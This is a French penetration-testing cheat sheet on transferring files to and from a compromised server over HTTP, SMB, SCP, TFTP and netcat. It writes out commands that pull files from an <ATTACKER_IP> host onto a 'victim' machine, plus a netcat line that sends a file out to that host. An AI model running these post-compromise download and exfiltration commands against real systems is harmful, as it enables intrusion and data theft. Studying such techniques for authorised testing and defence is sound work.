# [Exploitation/Réseau] Transfert de fichiers

## Introduction

Cette documentation présente plusieurs solution pour envoyer des fichiers sur un serveur compromis que ce soit Linux ou Windows via différents protocoles comme HTTP, SSH, FTP et SMB.

## Techniques

#### updog / SimpleHTTPServer

- L'outil **updog** a remplacé le module python **SimpleHTTPServer** qui permet de créer rapidement un serveur web HTTP sur lequel héberger des fichiers :

```bash
python3 -m updog -p 80
```

- Et à l'ancienne avec **SimpleHTTPServer** :

```bash
python3 -m http.server 80
```

- Pour récupérer le fichier avec **wget** en <span style="text-decoration: underline;">Powershell</span> :

```powershell
powershell wget http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>
```

<p class="callout info">Sous Linux vous pouvez utiliser la même commande sans powershell si le paquet wget est installé.</p>

- On peut aussi faire avec **curl** :

```powershell
curl http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>
```

<p class="callout success">Fonctionne aussi bien sur Windows que sur Linux !</p>

#### Impacket SMB Server

- On peut monter un serveur SMB rapidement avec la **suite Impacket** :

```bash
impacket-smbserver share $(pwd) -smb2support
```

- Puis sur la machine victime Windows on peut copier le fichier :

```powershell
copy \\<ATTACKER_IP>\share\<FILE>
```

- Et pour Linux :

```bash
smbclient -L <ATTACKER_IP>
smbclient "\\\\<ATTACKER_IP>\share"
ls
get <FILE>
put <SOME_FILE>
```

#### SCP

- Utilise le protocole **SSH** pour envoyer un fichier :

```bash
scp <FILE> <user>@<IP>:/tmp
```

- Ou en récupérer :

```bash
scp <user>@<IP>:/<PATH>/<TO>/<FILE> <FILE>
```

#### TFTP

- Sur la machine de l'attaquant lancez **Metasploit** puis :

```
use auxiliary/server/tftp
set srvhost <ATTACKER_IP>
set tftproot <PATH>
run
```

- Depuis une machine Windows récupérer des fichiers :

```
tftp -i <ATTACKER_IP> GET <FILE>
```

#### Netcat

Depuis la machine qui doit recevoir le fichier :

```bash
nc -lvp <PORT> > <FILE>
```

Depuis la machine qui doit envoyerle fichier :

```bash
nc <ATTACKER_IP> <PORT> < <FILE>
```